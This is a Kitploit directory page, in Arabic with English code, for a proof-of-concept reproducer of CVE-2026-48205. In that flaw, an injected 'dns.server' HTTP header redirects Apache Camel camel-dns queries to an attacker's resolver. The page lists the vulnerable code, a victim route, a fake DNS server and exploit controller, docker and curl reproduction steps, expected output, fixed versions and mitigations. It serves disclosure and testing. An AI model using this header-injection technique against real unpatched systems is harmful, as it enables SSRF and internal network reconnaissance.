Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-48205 — أداة إعادة إنتاج لـ CVE-2026-48205: Apache Camel camel-dns حقن رأس dns.* يعيد توجيه استعلامات DNS إلى محلل DNS يتحكم به المهاجم (SSRF عبر DNS) ويمكن من استكشاف أسماء المضيفين الداخلية (تم إصلاحه في 4.14.8/4.18.3/4.21.0) | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-48205
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتحليل DNS
GitHuboscerd/cve-2026-48205

CVE-2026-48205

أداة إعادة إنتاج لـ CVE-2026-48205: Apache Camel camel-dns حقن رأس dns.* يعيد توجيه استعلامات DNS إلى محلل DNS يتحكم به المهاجم (SSRF عبر DNS) ويمكن من استكشاف أسماء المضيفين الداخلية (تم إصلاحه في 4.14.8/4.18.3/4.21.0)

عرض المستودع
11منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

camel-dns dns.* / term أداة إعادة إنتاج حقن الرأس (CVE-2026-48205)

يوضح هذا المشروع حقن رأس الرسالة في مكون camel-dns الخاص بـ Apache Camel، والمُتتبع باسم CVE-2026-48205. يقرأ منتجو DNS معاملات تشغيلهم — المُحلل المراد الاستعلام عنه، الاسم/النطاق المراد البحث عنه، نوع/فئة السجل ومصطلح البحث — من رؤوس Exchange التي كانت قيمها الثابتة (DnsConstants.DNS_SERVER, DNS_NAME, DNS_DOMAIN, DNS_TYPE, DNS_CLASS, TERM) هي السلاسل العادية dns.server, dns.name, dns.domain, dns.type, dns.class و term. نظرًا لأن هذه الأسماء لا تبدأ بالبادئة Camel / camel، فإن HttpHeaderFilterStrategy — الذي يحظر فقط مساحة اسم رأس Camel عند حدود HTTP — يسمح لها بالمرور من طلب HTTP وارد مباشرة إلى Exchange.

في مسار يربط مستهلك HTTP (مثل platform-http) بمنتج dns:، يمكن لأي عميل HTTP بالتالي تعيين الرأس dns.server لجعل منتج dig يبني SimpleResolver يشير إلى خادم DNS يتحكم به المهاجم — تزوير طلب من جانب الخادم عبر DNS، من خلاله يلاحظ المهاجم الاسم المستعلم عنه ويمكنه إرجاع استجابات مسمومة — ويمكنه تعيين dns.name / dns.domain لحل أسماء مضيفين داخليين عشوائيين (استطلاع الشبكة الداخلية).

إشعار أمني: https://camel.apache.org/security/CVE-2026-48205.html

ملخص الثغرة

الإصلاح يعيد تسمية الرؤوس إلى CamelDnsServer / CamelDnsName / إلخ، بحيث يتم تصفيتها على حدود HTTP مثل أي رأس تحكم Camel آخر. نفس عائلة CVE-2025-27636 و CVE-2026-46454 و CVE-2026-47323.

التفاصيل التقنية

root@kitploit:~
// DnsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME   = "dns.name";

// DnsDigProducer.process (affected 4.18.2) — the resolver target comes straight from the header:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server);        // <-- attacker-controlled DNS server
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — the query goes to the attacker's server

الإصلاح (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23574) يعيد تسمية القيم إلى اصطلاح CamelDns*.

مسار الضحية

root@kitploit:~
from("platform-http:/lookup")
    .setHeader("dns.name", constant("example.com"))
    .setHeader("dns.type", constant("A"))
    .setHeader("dns.class", constant("IN"))
    .to("dns:dig");                                          // no dns.server -> default resolver (intended)

المسار يحفر اسمًا ثابتًا ضد المُحلل الافتراضي. يضيف المهاجم رأس dns.server واحدًا ويتم إعادة توجيه الاستعلام إلى خادم DNS الخاص به. (dns.server هو حرف صغير، لذلك ينجو من تطبيع رؤوس حاوية servlet — platform-http كافٍ.)

تخطيط المستودع

root@kitploit:~
CVE-2026-48205/
├── pom.xml                 # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── FakeDnsServer.java     # attacker DNS server on UDP 53 (records the redirected query)
    │   ├── VictimRoute.java       # platform-http:/lookup -> dns:dig
    │   └── ExploitController.java # attacker: injects dns.server=127.0.0.1
    └── resources/
        └── application.properties

المتطلبات الأساسية

  • Docker و Docker Compose (خادم DNS المزيف يرتبط بمنفذ UDP 53، والذي يتطلب صلاحيات الجذر — الحاوية تعمل كجذر)
  • Java 17+ و Maven 3.8+ (لبناء ملف jar)

خطوات إعادة الإنتاج

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

المخرجات المتوقعة

root@kitploit:~
=== 1) Legitimate request (no dns.server header) — default resolver ===
  attacker's DNS server was queried: false

=== 2) Injected dns.server=127.0.0.1 (SSRF via DNS) ===
  attacker's DNS server was queried: true
  observed lookup name: example.com.

>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true

يرى خادم DNS الخاص بالمهاجم الآن اسم البحث الخاص بالضحية (ويمكنه إرجاع إجابة مسمومة). توجيه dns.server إلى محلل DNS داخلي حقيقي، أو تعيين dns.name إلى أسماء مضيفين داخليين، يتيح استطلاع الشبكة الداخلية.

الإصلاح الموصى به

قم بالترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23574). بعد الترقية، يجب على المسارات التي تقود عمليات DNS عبر الرؤوس استخدام CamelDnsServer / CamelDnsName / إلخ.

التخفيف

حتى الترقية، قم بإزالة الرؤوس dns.* و term من أي مدخل غير موثوق قبل منتج dns:، وقم بتعيين خادم DNS ومعاملات البحث من مصدر موثوق في المسار.

إخلاء مسؤولية

تم توفير أداة إعادة الإنتاج هذه لأغراض البحث الأمني والاختبار المصرح به فقط، لثغرة مُعلنة ومُصححة علنًا. لا تستخدمها ضد الأنظمة دون إذن صريح.

تنزيل الأداة
الخاصيةالقيمة
المكونcamel-dns
الفئة المتأثرةorg.apache.camel.component.dns.DnsDigProducer — new SimpleResolver(getHeader("dns.server"))
CWECWE-20 (التحقق غير الصحيح من المدخلات) / CWE-918 (تزوير طلب من جانب الخادم)
التأثيرإعادة توجيه استعلام DNS الخاص بالمسار إلى خادم يتحكم به المهاجم (مراقبة الأسماء، إرجاع إجابات مسمومة)؛ تعداد أسماء المضيفين الداخليين
الشروط المسبقةمسار يربط مستهلك HTTP بمنتج dns:؛ غير مُصادق عليه عندما يكون المستهلك كذلك
الإصدارات المتأثرةمن 4.0.0 قبل 4.14.8، من 4.15.0 قبل 4.18.3، من 4.19.0 قبل 4.21.0
الإصدارات المُصححة4.14.8، 4.18.3، 4.21.0
JIRACAMEL-23574 (PR apache/camel#23411)
المُنسب إليهYu Bao (PayPal)